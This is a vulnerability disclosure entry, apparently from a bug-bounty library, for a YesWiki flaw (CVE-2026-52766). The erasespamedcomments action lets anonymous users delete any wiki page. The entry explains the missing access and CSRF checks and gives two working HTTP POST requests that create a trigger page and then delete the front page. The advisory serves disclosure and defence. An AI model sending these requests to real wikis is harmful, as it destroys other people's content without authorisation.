# YesWiki vulnerable to unauthenticated arbitrary page deletion via `{{erasespamedcomments}}` action

YesWiki's erasespamedcomments action lacks authorization and CSRF checks, letting anonymous users delete arbitrary wiki pages including the front page.

- Payout: Research
- Severity: critical
- Program: YesWiki
- Found by: CosmicCrusader23
- Disclosed: 2026-07-09
- CVE: CVE-2026-52766
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-6x7x-gcmf-7r8x
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-6x7x-gcmf-7r8x
- Tags: area:web domain:web impact:integrity kind:research platform:ghsa sev:critical tech:php technique:source-review vuln:access-control vuln:auth-bypass vuln:business-logic vuln:csrf

**Target:** PHP wiki action endpoint (EraseSpamedCommentsAction)
**Root cause:** The erasespamedcomments action processes POST suppr[] without any ACL/CSRF check, and the default action ACL is '*' so anonymous users pass CheckModuleACL; the downstream PageManager::deleteOrphaned() issues unconditional DELETEs without verifying the page is orphaned.
**Steps:**
1. Create a page containing the action: `POST /?wiki=SpamCleanup/edit` with body `body=%7B%7Berasespamedcomments%7D%7D&submit=1` (allowed by default_write_acl='*')
2. Trigger deletion anonymously: `POST /?wiki=SpamCleanup` with body `clean=yes&suppr%5B0%5D=PagePrincipale&suppr%5B1%5D=AnotherTargetPage`
3. Response echoes `Effacement de : PagePrincipale`; rows for those tags are deleted from pages, links, acls, triples, referrers, tags
**How found:** Code review of the action body revealed no UserIsAdmin/UserIsOwner/HasAccess/CSRF checks, then tracing into PageController::delete and PageManager::deleteOrphaned showed unconditional DELETEs and an unused isOrphaned() check, combined with the allow-by-default action ACL.
**Exploitation:** Anonymous attacker creates a page embedding {{erasespamedcomments}}, then POSTs clean=yes with suppr[] listing target tags; no auth or CSRF token required, so any page including the front page and admin pages is permanently deleted.
**Insight:** Wiki actions that wrap destructive DB operations often inherit the allow-by-default action ACL; grep action classes for $_POST-driven delete/update calls and trace whether the callee (here deleteOrphaned) actually enforces the precondition its name implies.

## Proof of concept (copied exactly from the original report)

**Anonymous POST creating trigger page with erasespamedcomments**

```
POST /?wiki=SpamCleanup/edit HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

body=%7B%7Berasespamedcomments%7D%7D&submit=1
```

**Anonymous POST deleting arbitrary pages via suppr[]**

```
POST /?wiki=SpamCleanup HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

clean=yes&suppr%5B0%5D=PagePrincipale&suppr%5B1%5D=AnotherTargetPage
```